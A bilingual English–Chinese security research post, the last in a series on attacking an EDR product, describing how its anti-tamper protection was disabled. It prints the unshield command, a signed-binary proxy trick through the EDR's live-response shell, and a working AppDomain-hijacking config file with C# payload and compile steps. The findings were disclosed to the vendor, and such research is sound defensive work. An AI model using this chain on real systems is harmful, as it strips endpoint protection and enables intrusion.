Introduction 介绍
DISCLAMER: This post was done in collaboration with Riccardo Ancarani. You can find his blog here: https://riccardoancarani.github.io
In this third and last part of this series, we will dig deeper in the EDR’s update process and uncover some logic flaws that, ultimately, led us to the complete disarmament of the solution. Additionally, as an unexpected treat for our effort, a new ‘LOLBin’ was also discovered along the way. This part will be a bit more code-heavy, we will try to minimize the unnecessary bloat but the reader might need to pivot through some additional references to get the most out of this.
在本系列的第三部分也是最后一部分中,我们将更深入地挖掘 EDR 的更新过程,并发现一些逻辑缺陷,这些缺陷最终导致我们完全解除了解决方案的武装。此外,作为我们努力的意外款待,在此过程中还发现了一个新的“LOLBin”。这部分代码会更繁重一些,我们将尽量减少不必要的臃肿,但读者可能需要浏览一些额外的参考资料以充分利用这一点。
As mentioned above, this part of the research was focused on the update process, whereby the solution will eventually need to either restart or adjust its own configuration to apply the new changes. For new changes, we primarily mean software updates that require binaries being modified or similar, not the simple update of the signature database.
如上所述,这部分研究的重点是更新过程,因此解决方案最终需要重新启动或调整自己的配置以应用新的更改。对于新的更改,我们主要是指需要修改二进制文件或类似文件的软件更新,而不是签名数据库的简单更新。
From a high level perspective, when a software needs to apply updates, the following scenarios are possible:
从高层次的角度来看,当软件需要应用更新时,以下情况是可能的:
- Update is done by the same component that needs updating
更新由需要更新的同一组件完成 - Update is delegated to an additional component that is solely responsible for that
更新被委派给一个全权负责的附加组件
Whilst for a normal software this might not be a huge problem, for an EDR that needs to protect itself from unwanted modifications and tamper, this might be a non-trivial task to accomplish.
虽然对于普通软件来说,这可能不是一个大问题,但对于需要保护自己免受不必要的修改和篡改的 EDR 来说,这可能是一项艰巨的任务。
In our attack scenario, we hypothesized that the solution under scrutiny at some point
had to temporarily lift some of the countermeasures that would be usually in place, to allow the introduction of additional software components.
在我们的攻击场景中,我们假设正在审查的解决方案 at some point
必须暂时取消一些通常到位的对策,以允许引入额外的软件组件。
By all means, not every update mechanism needs to function this way and we do not imply that this mechanism was flawed in its design. Every case should be carefully reviewed from an architectural and implementation perspective. However, more often than not, even extremely complex software’s architectures base core part of their security on assumptions that, in practice, might not align with reality. We do believe that installation, uninstallation and update processes should be included in the threat model of every vendor or company who is introducing third-party tooling in their estate. Some of the questions that you might start asking to guide the threat modeling exercise are the following:
无论如何,并非每个更新机制都需要以这种方式运行,我们并不意味着该机制在其设计中存在缺陷。应从体系结构和实现的角度仔细审查每个案例。然而,通常情况下,即使是极其复杂的软件架构,其安全的核心部分也基于在实践中可能与现实不一致的假设。我们确实认为,安装、卸载和更新过程应包含在在其资产中引入第三方工具的每个供应商或公司的威胁模型中。为指导威胁建模练习,您可能会开始询问的一些问题如下:
Does the EDR lower its security posture temporarily to allow updates? Is the time window sufficient for an attacker to perform malicious actions? How does the uninstall process work in practice? Does it need a code that is generated from a centralised tenant? How much “trust” is given to the digital signature of the EDR software? Would a threat that lives in a signed process by the EDR vendor have more leeway compared to a malware that doesn’t?
EDR 是否会暂时降低其安全态势以允许更新?时间窗口是否足以让攻击者执行恶意操作?卸载过程在实践中如何运作?它是否需要从集中式租户生成的代码?对 EDR 软件的数字签名给予了多少“信任”?与没有签名的恶意软件相比,存在于 EDR 供应商签名进程中的威胁是否有更多的回旋余地?
Assumptions such as: 假设,例如:
- A malware will not be able to obtain the same code signing certificate as the vendor
恶意软件将无法获取与供应商相同的代码签名证书 - A malware will not be able to open privileged handles to EDR processes
恶意软件将无法向 EDR 进程打开特权句柄
Can be misleading and give a false sense of security. Our recommendation is to start challenging those assumptions and start designing products that can withstand those situations.
可能具有误导性,并给人一种虚假的安全感。我们的建议是开始挑战这些假设,并开始设计能够承受这些情况的产品。
The assumption that an attack will happen necessarily when a solution is at its best state is simply incorrect. We’re clearly not the pioneers of this approach, and a similar concept was also discussed by Prelude Security’s team An Argument for Continous Security Testing.
当解决方案处于最佳状态时,攻击必然会发生,这种假设是完全不正确的。我们显然不是这种方法的先驱,Prelude Security 的团队 An Argument for Continous Security Testing 也讨论了类似的概念。
Enough theory, let’s get our hands dirty.
理论够了,让我们亲自动手吧。
Exploitation 开发
Crash Dump Files 故障转储文件
The process began by analyzing all the files, logs and in general artifacts that the EDR solution left on disk that were accessory to its functionality. Essentially we were looking at all the things that were “left over”.
该过程首先分析了 EDR 解决方案在磁盘上留下的所有文件、日志和一般工件,这些文件、日志和一般工件是其功能的附属品。从本质上讲,我们是在看所有“剩下”的东西。
Unsurprisingly, within the C:\ProgramData
folder, it was possible to find a subfolder related to the STRANGETRINITY product. Within that folder, a UserCrashDump
directory was identified. The folder contained mostly text files, which apparently stored logs related to the installation and update of the product. Amongst all the entries, after a careful analysis, an interesting command line was found:
不出所料,在 C:\ProgramData
文件夹中,可以找到与STRANGETRINITY产品相关的子文件夹。在该文件夹中,标识了一个 UserCrashDump
目录。该文件夹主要包含文本文件,这些文件显然存储了与产品安装和更新相关的日志。在所有条目中,经过仔细分析,发现了一个有趣的命令行:
<TIMESTAMP> Property Change: Adding ApplyConfigProtectRollback property, its value is: StrangeTrinity.exe unshield_from_authorized_process
Well, that sounded quite interesting. Obviously at that time we had no clue of what the functionality that command was, we could only guess by its name. However, it sounded promising enough to push us to continue towards that route.
嗯,这听起来很有趣。显然,当时我们不知道该命令的功能是什么,我们只能通过它的名称来猜测。然而,这听起来很有希望,足以推动我们继续朝着这条路前进。
Without wasting too much time, we tried to run the same command again from an elevated command prompt and… …drumroll… it didn’t work! However, luckily for us, the program was kind enough to give us some hints of why it didn’t work. Specifically, the output that we obtained was something along the lines of:
在不浪费太多时间的情况下,我们尝试从提升的命令提示符再次运行相同的命令,然后……鼓声…它没有用!然而,对我们来说幸运的是,该程序足够友善,为我们提供了一些提示,说明为什么它不起作用。具体来说,我们获得的输出大致如下:
Parent process is not signed by `Vendor`
`Unshield not approved.`
Unshield from authorized process
从授权进程中解脱
The error obtained by running the command above was informative enough to make us think that the primary check that the EDR service was performing was solely based on the validation of the digital signature of the process that is invoking the StrangeTrinity.exe unshield_from_authorized_process
command.
通过运行上述命令获得的错误足以让我们认为 EDR 服务正在执行的主要检查完全基于对调用该 StrangeTrinity.exe unshield_from_authorized_process
命令的进程的数字签名的验证。
At this point we clearly had a problem, not being in possession of the private keys used to sign the STRANGETRINITY software, we simply couldn’t sign an arbitrary EXE and make it invoke our command. The following tests were then performed:
在这一点上,我们显然遇到了一个问题,没有用于签署 STRANGETRINITY 软件的私钥,我们根本无法签署任意 EXE 并让它调用我们的命令。然后进行了以下测试:
- Injecting a shellcode into a running EDR process
将 shellcode 注入正在运行的 EDR 进程 - Injecting a shellcode into a suspended EDR process that was created ad-hoc, is is known as fork-and-run pattern
将 shellcode 注入到临时创建的挂起的 EDR 进程中,称为分叉和运行模式 - Installing a rogue certification authority on the compromised host and sign an arbitrary EXE with a certificate with the same subject as the vendor’s
在受感染的主机上安装恶意证书颁发机构,并使用与供应商的证书主题相同的证书对任意 EXE 进行签名
Unfortunately, none of the above worked (although they are valid tests that we encourage the reader to attempt).
不幸的是,以上方法都不起作用(尽管它们是我们鼓励读者尝试的有效测试)。
A new LOLBin? 一个新的LOLBin?
STRANGETRINITY, as most top tier EDRs, have some sort of live response
feature that allows responders to run arbitrary commands and execute scripts on a host they are analyzing. If this sounds like a Command and Control, it’s because it mostly is!
与大多数顶级 EDR 一样,STRANGETRINITY 具有某种 live response
功能,允许响应者在他们正在分析的主机上运行任意命令并执行脚本。如果这听起来像是命令和控制,那是因为它主要是!
Different products implement this feature in different ways, however, STRANGETRINITY had a dedicated process that was spawned when an analyst initiated a live response session from the main tenant. The program was essentially executing a powershell process and piping its output to a named pipe; we imagine that the output then got sent to the main agent process and ultimately redirected to the centralized tenant for the analyst to see.
不同的产品以不同的方式实现此功能,但是,STRANGETRINITY 有一个专用流程,该流程是在分析师从主租户发起实时响应会话时生成的。该程序实质上是执行一个 powershell 进程,并将其输出通过管道传递到命名管道;我们假设输出随后被发送到主代理进程,并最终重定向到集中式租户供分析师查看。
A brief inspection of the executed processes using Sysmon’s EventID 1 revealed the command line that the solution used:
使用 Sysmon 的 EventID 1 对已执行的进程进行简要检查后,揭示了该解决方案使用的命令行:
StrangeTrinityResponseShell.exe “powershell.exe -enc ….”
That looked simple enough! We quickly attempted to execute the StrangeTrinityResponseShell.exe with a different command line, and it worked perfectly. This, apart from being a LOLBin (which we will not publish to maintain the same level of integrity that we discussed in part 1 of this series), constituted an interesting primitive that we could then use to bypass the parent process signature check that was discussed in the chapter above.
这看起来很简单!我们迅速尝试使用不同的命令行执行 StrangeTrinityResponseShell.exe,并且运行良好。除了是一个 LOLBin(我们不会发布它以保持我们在本系列的第 1 部分中讨论的相同级别的完整性)之外,它还构成了一个有趣的原语,然后我们可以使用它来绕过上一章中讨论的父进程签名检查。
Testing this was simple enough, as we only had to execute the following command:
测试这很简单,因为我们只需要执行以下命令:
StrangeTrinityResponseShell.exe “StrangeTrinity.exe unshield_from_authorized_process”
With much surprise, we obtained an Unshield approved
prompt, this looked like a crackme after all! Checking the EDR’s configuration by using the official troubleshooting utility indeed showed that the anti-tamper was disabled and the solution could be either uninstalled or tampered with trivially.
出乎意料的是,我们得到了一个 Unshield approved
提示,这毕竟看起来像是裂缝!使用官方故障排除实用程序检查 EDR 的配置确实表明防篡改器已被禁用,并且该解决方案可以被卸载或篡改。
Appdomain Hijacking 应用域劫持
The LOLBin part was interesting, but before submitting the vulnerability to the vendor we kept looking for other avenues. This was done mostly to increase our chances for the report to deliver the right message.
LOLBin 部分很有趣,但在将漏洞提交给供应商之前,我们一直在寻找其他途径。这样做主要是为了增加我们报告传递正确信息的机会。
Another approach to execute code under the context of a signed process, is to utilize the Appdomain Hijacking technique. The technique is not something new and you can find extensive resources on the web. But in a nutshell, Appdomain hijacking is an attack that allows an adversary to force a legitimate .NET application to load a custom .NET assembly by specifying a set of entries within a manifest file. A manifest file is simply an XML configuration file with a .config extension. The web is full of fully functional PoCs that can be weaponized easily. However, in order to use this attack, we had to find a .NET binary that was also signed by the vendor.
在签名进程的上下文中执行代码的另一种方法是利用 Appdomain 劫持技术。这项技术并不是什么新鲜事物,您可以在网络上找到大量资源。但简而言之,Appdomain 劫持是一种攻击,它允许攻击者通过在清单文件中指定一组条目来强制合法的 .NET 应用程序加载自定义 .NET 程序集。清单文件只是一个扩展名为 .config 的 XML 配置文件。网络上充斥着功能齐全的PoC,可以很容易地被武器化。但是,为了使用此攻击,我们必须找到一个同样由供应商签名的 .NET 二进制文件。
If you happen to have a VirusTotal enterprise subscription, it would be easier just to look for .NET binaries with the specific vendor in the signature tag and download the submitted files. Luckily we did not have to do any of that, as the vendor also installed a set of utilities to collect logs on the host in a separate folder, and one of them was written using the .NET framework.
如果您碰巧有 VirusTotal 企业订阅,则只需在签名标记中查找带有特定供应商的 .NET 二进制文件并下载提交的文件会更容易。幸运的是,我们不必执行任何操作,因为供应商还安装了一组实用程序,用于在单独的文件夹中收集主机上的日志,其中一个是使用 .NET Framework 编写的。
To exploit that, we copied the log agent utility in an arbitrary folder, and placed the following file named LogAgent.exe.config next to it:
为了利用这一点,我们将日志代理实用程序复制到任意文件夹中,并在其旁边放置了以下名为 LogAgent.exe.config 的文件:
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="C:\Test"/>
</assemblyBinding>
<etwEnable enabled="false" />
<appDomainManagerAssembly value="test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
</runtime>
</configuration>
It is important that the name of the config file is the same as the executable that you are targeting, with a .config appended at the end, otherwise the attack will not work.
重要的是,配置文件的名称必须与目标可执行文件相同,并在末尾附加一个 .config,否则攻击将不起作用。
Inspecting the configuration file above, it is possible to see that the config file specified that the application should load a new appdomain manager called test
, which in this case is our custom malicious assembly. The code for the Test.cs file was following:
检查上面的配置文件,可以看到配置文件指定应用程序应该加载一个名为 test
的新 appdomain 管理器,在本例中为我们的自定义恶意程序集。Test.cs 文件的代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.IO;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Text;
using System.Threading.Tasks;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
Program.Main(new string[] {});
}
}
public class Program
{
public static void Main(string[] args)
{
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.FileName = @"C:\\Program Files\\STRANGETRINITY\\StrangeTrinity.exe";
startInfo.Arguments = "unshield_from_authorized_process";
System.Diagnostics.Process.Start( startInfo);
}
}
The snippet above shows the code of the malicious .NET assembly, which simply spawned the StrangeTrinity.exe process with the right command line in order to disable it.
上面的代码片段显示了恶意 .NET 程序集的代码,该程序集只是使用正确的命令行生成了 StrangeTrinity.exe 进程以禁用它。
To compile the DLL, the csc.exe utility was used:
为了编译 DLL,使用了 csc.exe 实用程序:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x64 /target:library /out:test.dll .\test.cs
To perform the attack, place all the files in the same folder:
要执行攻击,请将所有文件放在同一文件夹中:
- LogAgent.exe.config
- LogAgent.exe 日志代理.exe
- test.dll 测试.dll
Once the LogAgent.exe utility was then started, the malicious .NET DLL was loaded in the signed process which eventually launched the StrangeTrinity.exe. The attack worked as expected, unshielding the solution’s anti-tamper last line of defense, and the issue was communicated to the vendor.
一旦LogAgent.exe实用程序启动,恶意的.NET DLL就会加载到最终启动StrangeTrinity.exe的签名进程中。攻击按预期进行,解除了解决方案的防篡改最后一道防线,并将问题传达给了供应商。
Conclusions 结论
This post concludes our series on attacking EDRs, we hope that you had as much fun reading it as we had writing it. A big shoutout to REDACTED for allowing us to test all the things we wanted and for being responsive with fixing the vulnerabilities. Despite knowing that the industry has a lot of potential for improvements in regards to collaborative research, we do really hope that this will lay a more solid foundation for future work. If you are a vendor and you’re willing to give us access to your solution, we will be happy to take a look at it!
这篇文章结束了我们关于攻击 EDR 的系列文章,我们希望您阅读它和我们写它时一样有趣。非常感谢 REDACTED,它允许我们测试我们想要的所有东西,并响应修复漏洞。尽管知道该行业在合作研究方面有很大的改进潜力,但我们确实希望这将为未来的工作奠定更坚实的基础。如果您是供应商,并且愿意让我们访问您的解决方案,我们将很乐意查看它!
原文始发于her0ness:Attacking an EDR – Part 3